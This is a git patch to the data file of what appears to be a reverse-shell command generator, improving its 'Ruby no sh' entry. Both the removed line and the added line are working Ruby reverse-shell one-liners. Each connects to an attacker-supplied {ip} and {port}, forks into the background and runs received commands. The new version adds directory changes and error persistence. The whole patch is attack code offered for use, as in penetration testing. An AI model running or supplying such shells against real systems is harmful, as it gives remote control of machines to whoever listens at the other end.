From 156a829db0d14dae1f1df5b197c9bae29549b3cf Mon Sep 17 00:00:00 2001 From: Ricardo <78623737+ricxpl@users.noreply.github.com> Date: Fri, 2 Apr 2021 05:40:22 -0400 Subject: [PATCH] Improve Ruby Reverse Shell Now the reverse shell supports the "cd" command and maintains persistence when an error is raised. --- js/data.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/js/data.js b/js/data.js index 9505bd4..60e4cd1 100644 --- a/js/data.js +++ b/js/data.js @@ -195,7 +195,7 @@ const reverseShellCommands = withCommandType( }, { "name": "Ruby no sh", - "command": "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"{ip}\",\"{port}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", + "command": "ruby -rsocket -e'exit if fork;c=TCPSocket.new(\"{ip}\",\"{port}\");loop{c.gets.chomp!;(exit! if $_==\"exit\");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts \"failed: #{$_}\"}'", "meta": ["linux", "mac"] }, {